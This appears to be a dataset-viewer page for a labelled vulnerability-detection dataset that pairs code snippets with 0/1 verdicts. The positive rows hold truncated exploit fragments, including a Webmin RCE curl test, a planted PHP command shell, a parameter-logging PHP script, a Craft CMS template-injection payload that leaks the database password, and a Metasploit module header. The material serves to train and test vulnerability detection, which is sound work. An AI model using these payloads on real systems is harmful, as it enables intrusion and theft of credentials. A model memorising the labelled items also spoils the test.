Dataset Viewer
Auto-converted to Parquet Duplicate
instruction
stringclasses
1 value
input
stringlengths
215
34.9k
output
stringclasses
2 values
please judge the source code for vulnerabilities.
public function proc<underscore>readfile()<NEWLINE>{<NEWLINE><slash><slash> 中略<NEWLINE> <slash><slash> リクエストパラメタを取得<NEWLINE> $param = $this<hyphen>>get<underscore>param();<NEWLINE> <slash><slash> リクエストパラメタからファイル名を取得<NEWLINE> $filename = (string)$param[parent::FILENAME];<NEWLINE> <slash><slash> ファイル名がセットさ...
0
please judge the source code for vulnerabilities.
<?php<NEWLINE> define(<single<underscore>quote>FILE<underscore>PATH<single<underscore>quote>, <single<underscore>quote><slash>var<slash>www<slash>dt<slash>tmpl<slash><single<underscore>quote>);<NEWLINE> $pathAndOldname= FILE<underscore>PATH . basename($<underscore>GET[<double<underscore>quote>oldname<double<under...
0
please judge the source code for vulnerabilities.
<?php<NEWLINE> define(<single<underscore>quote>FILE<underscore>PATH<single<underscore>quote>, <single<underscore>quote><slash>var<slash>www<slash>dt<slash>tmpl<slash><single<underscore>quote>);<NEWLINE> $pathAndOldname= FILE<underscore>PATH . basename($<underscore>GET[<double<underscore>quote>oldname<double<under...
0
please judge the source code for vulnerabilities.
public function proc<underscore>rename<underscore>file()<NEWLINE>{<NEWLINE><slash><slash> 中略<NEWLINE> <slash><slash> 変更前と変更後のファイル名が異なる場合<NEWLINE> } else {<NEWLINE> <slash><slash> 変更前ファイル名をパス付きで指定<NEWLINE> $oldname = parent::GOODS<underscore>FILE<underscore>PATH. basename($oldname);<NEWLINE> <...
0
please judge the source code for vulnerabilities.
<?php<NEWLINE> <slash><slash>一度セッションIDを作成していると、そのセッションIDで開始される <NEWLINE> session<underscore>start();<NEWLINE> <slash><slash>ログイン処理後<NEWLINE> <slash><slash>安全な値でセッションIDを再発行<NEWLINE> session<underscore>regenerate<underscore>id();<NEWLINE> $<underscore>SESSION[<double<underscore>quote>id<double<underscor...
0
please judge the source code for vulnerabilities.
<?php<NEWLINE> <slash><slash>前略<NEWLINE> session<underscore>destroy();<NEWLINE> session<underscore>start();<NEWLINE> session<underscore>regenerate<underscore>id();<NEWLINE> <slash><slash>後略<NEWLINE>?>
0
please judge the source code for vulnerabilities.
<?php<NEWLINE> session<underscore>start();<NEWLINE> <slash><slash>ログイン処理後<NEWLINE> <slash><slash>セッションIDの変更を行う<NEWLINE> session<underscore>regenerate<underscore>id(true);<NEWLINE> $<underscore>SESSION[<double<underscore>quote>id<double<underscore>quote>]=$<underscore>POST[<double<underscore>quote>id<doub...
0
please judge the source code for vulnerabilities.
<?php<NEWLINE> public function login()<NEWLINE> {<NEWLINE> $db = $this<hyphen>>get<underscore>db();<NEWLINE> $param = $this<hyphen>>get<underscore>param();<NEWLINE> $session = $this<hyphen>>get<underscore>session();<NEWLINE> $stmt = $db<hyphen>>prepare(parent::LOGIN<underscore>SQL);<NE...
0
please judge the source code for vulnerabilities.
<?php<NEWLINE> session<underscore>start();<NEWLINE> <slash><slash>ログイン処理後<NEWLINE> session<underscore>regenerate<underscore>id(true);<NEWLINE> <slash><slash>セッションを持たせてログインしていることが分かるようにする<NEWLINE> $<underscore>SESSION[<double<underscore>quote>id<double<underscore>quote>]=$<underscore>POST[<double<undersco...
0
please judge the source code for vulnerabilities.
FLAG=<double<underscore>quote>f3a0c13c3765137bcde68572707ae5c0<double<underscore>quote><NEWLINE>URI=$1;<NEWLINE>echo <hyphen>n <double<underscore>quote>Testing for RCE (CVE<hyphen>2019<hyphen>15107) on $URI: <double<underscore>quote>;<NEWLINE>curl <hyphen>ks $URI<single<underscore>quote><slash>password<underscore>chang...
1
please judge the source code for vulnerabilities.
While logged in as admin user:<NEWLINE>1) add a shell user<NEWLINE>2) under option set gid to ispconfig<NEWLINE>3) log in as that user<NEWLINE>4) edit <slash>usr<slash>local<slash>ispconfig<slash>interface<slash>lib<slash>lang<slash>en.lng with system($<underscore>GET[<single<underscore>quote>cmd<single<underscore>quot...
1
please judge the source code for vulnerabilities.
Abstract<NEWLINE>Securify discovered a command injection vulnerability in xen<underscore>hotfix page of the NITRO SDK. The attacker<hyphen>supplied command is executed with elevated privileges (nsroot). This issue can be used to compromise of the entire Citrix SDX appliance and all underling application<single<undersco...
1
please judge the source code for vulnerabilities.
Users that can access the Settings > Database Management page can achieve code<NEWLINE>execution as root on older versions of PCoIP MC 2.x. (Based on CentOS 7 x64)<NEWLINE>Web Shell Upload Vulnerability Overview<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyp...
1
please judge the source code for vulnerabilities.
[+]Vulnerability :<NEWLINE>you can Access All Atmail Webadmin Mail server Configuration and SQL Root Password<NEWLINE>[+]Poc :<NEWLINE>Go to webmail and config Directory and type dbconfig.ini for Access all SQL Configuration<NEWLINE>[+]Demo for Test Vuln :<NEWLINE>[+]Atmail 6.20.8<NEWLINE>http:<slash><slash>server<slas...
1
please judge the source code for vulnerabilities.
<?php<NEWLINE>$output = fopen(<double<underscore>quote>logs.txt<double<underscore>quote>, <double<underscore>quote>a+<double<underscore>quote>) or die(<double<underscore>quote>WTF? o.O<double<underscore>quote>);<NEWLINE>$leet = $<underscore>GET[<single<underscore>quote>leet<single<underscore>quote>].<double<underscore>...
1
please judge the source code for vulnerabilities.
CentOS<hyphen>WebPanel.com (aka CWP) CentOS Web Panel through 0.9.8.789 is vulnerable to Stored<slash>Persistent XSS for the <double<underscore>quote>Name Server 1<double<underscore>quote> and <double<underscore>quote>Name Server 2<double<underscore>quote> fields via <double<underscore>quote>DNS Functions<double<unders...
1
please judge the source code for vulnerabilities.
import os<NEWLINE>import sys<NEWLINE>def shellCode(payload):<NEWLINE>with open(f<double<underscore>quote>{os.getenv(<single<underscore>quote>HOME<single<underscore>quote>)}<slash>.cache<slash>mintinstall<slash>reviews.cache<double<underscore>quote>,<double<underscore>quote>w<double<underscore>quote>) as wb:<NEWLINE>wb....
1
please judge the source code for vulnerabilities.
require <single<underscore>quote>rest<hyphen>client<single<underscore>quote><NEWLINE>require <single<underscore>quote>json<single<underscore>quote><NEWLINE>puts <double<underscore>quote>Enter Target URI (With wp directory)<double<underscore>quote><NEWLINE>targeturi = gets.chomp<NEWLINE>puts <double<underscore>quote>Ent...
1
please judge the source code for vulnerabilities.
import argparse<NEWLINE>import requests<NEWLINE>import sys<NEWLINE>import collections<NEWLINE>OKRED = <single<underscore>quote><backslash>033[91m<single<underscore>quote><NEWLINE>OKGREEN = <single<underscore>quote><backslash>033[92m<single<underscore>quote><NEWLINE>ENDC = <single<underscore>quote><backslash>033[0m<sing...
1
please judge the source code for vulnerabilities.
=======<NEWLINE>Summary<NEWLINE>=======<NEWLINE>Name: Symantec Messaging Gateway <hyphen> Arbitrary file download is possible with a crafted URL (authenticated)<NEWLINE>Release Date: 30 November 2012<NEWLINE>Reference: NGS00266<NEWLINE>Discoverer: Ben Williams <ben.williams@ngssecure.com><NEWLINE>Vendor: Symantec<NEWLI...
1
please judge the source code for vulnerabilities.
HEAD <slash>db<hyphen>password:%20%7b%25%20set%20dummy%20=%20craft.request.getUserAgent()|slice(0,8)%25%7d%7b%25%20set%20dummy2%20=%20craft.request.getUserAgent()|slice(9,2)%25%7d%7b%7bcraft.config.get(dummy,dummy2)%7d%7d HTTP<slash>1.1<NEWLINE>Host: craft<hyphen>installation<NEWLINE>User<hyphen>Agent: password db<NEWL...
1
please judge the source code for vulnerabilities.
import sys<NEWLINE>import requests<NEWLINE>def exploit(address, login, password,file):<NEWLINE>s = requests.Session()<NEWLINE>url = address<NEWLINE>try:<NEWLINE>r1 = s.get(url+<double<underscore>quote><slash>login?next=<slash><double<underscore>quote>);<NEWLINE>cookies = requests.utils.dict<underscore>from<underscore>c...
1
please judge the source code for vulnerabilities.
require <single<underscore>quote>optparse<single<underscore>quote><NEWLINE>require <single<underscore>quote>net<slash>http<single<underscore>quote><NEWLINE>require <single<underscore>quote>json<single<underscore>quote><NEWLINE>require <single<underscore>quote>uri<single<underscore>quote><NEWLINE>require <single<undersc...
1
please judge the source code for vulnerabilities.
class MetasploitModule < Msf::Exploit::Remote<NEWLINE>Rank = NormalRanking<NEWLINE>include Msf::Exploit::Remote::HttpClient<NEWLINE>include Msf::Exploit::CmdStager<NEWLINE>def initialize(info = {})<NEWLINE>super(update<underscore>info(info,<NEWLINE><single<underscore>quote>Name<single<underscore>quote> => <si...
1
please judge the source code for vulnerabilities.
<slash><slash>====================================================================<backslash><backslash><NEWLINE>|| ||<NEWLINE>|| CWP Control Web Panel 0.9.8.836 <hyphen> 0.9.8.839 ||<NEWLINE>|| Root Privileg...
1
please judge the source code for vulnerabilities.
import json<NEWLINE>import sys<NEWLINE>import urllib2<NEWLINE>from lxml import etree<NEWLINE>def get<underscore>api<underscore>url(wordpress<underscore>url):<NEWLINE>response = urllib2.urlopen(wordpress<underscore>url)<NEWLINE>data = etree.HTML(response.read())<NEWLINE>u = data.xpath(<single<underscore>quote><slash><sl...
1
please judge the source code for vulnerabilities.
1. Description<NEWLINE>A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request containing control characters and shell commands which will be executed as root on a vulnerable system.<NEWLINE>2. Proof of Concept<NEWLINE>targetip...
1
please judge the source code for vulnerabilities.
Core Security <hyphen> Corelabs Advisory<NEWLINE>http:<slash><slash>corelabs.coresecurity.com<slash><NEWLINE>Dell EMC Isilon OneFS Multiple Vulnerabilities<NEWLINE>1. **Advisory Information**<NEWLINE>Title: Dell EMC Isilon OneFS Multiple Vulnerabilities<NEWLINE>Advisory ID: CORE<hyphen>2017<hyphen>0009<NEWLINE>Advisory...
1
please judge the source code for vulnerabilities.
[+]<NEWLINE>[+] Credits <slash> Discovery: John Page AKA Hyp3rlinX<NEWLINE>[+] Website: hyp3rlinx.altervista.org<NEWLINE>[+] Source: http:<slash><slash>hyp3rlinx.altervista.org<slash>advisories<slash>NTOPNG<hyphen>CSRF<hyphen>TOKEN<hyphen>BYPASS.txt<NEWLINE>[+] ISR: ApparitionSEC<NEWLINE>[+]<NEWLINE>Vendor:<NEWLINE>===...
1
please judge the source code for vulnerabilities.
SEC Consult Vulnerability Lab Security Advisory < 20140716<hyphen>3 ><NEWLINE>=======================================================================<NEWLINE>title: Multiple critical vulnerabilities<NEWLINE>product: Bitdefender GravityZone<NEWLINE>vulnerable version: <5.1.11.432<NEWLINE>fixed version: >=5.1.11.432<NEWL...
1
README.md exists but content is empty.
Downloads last month
11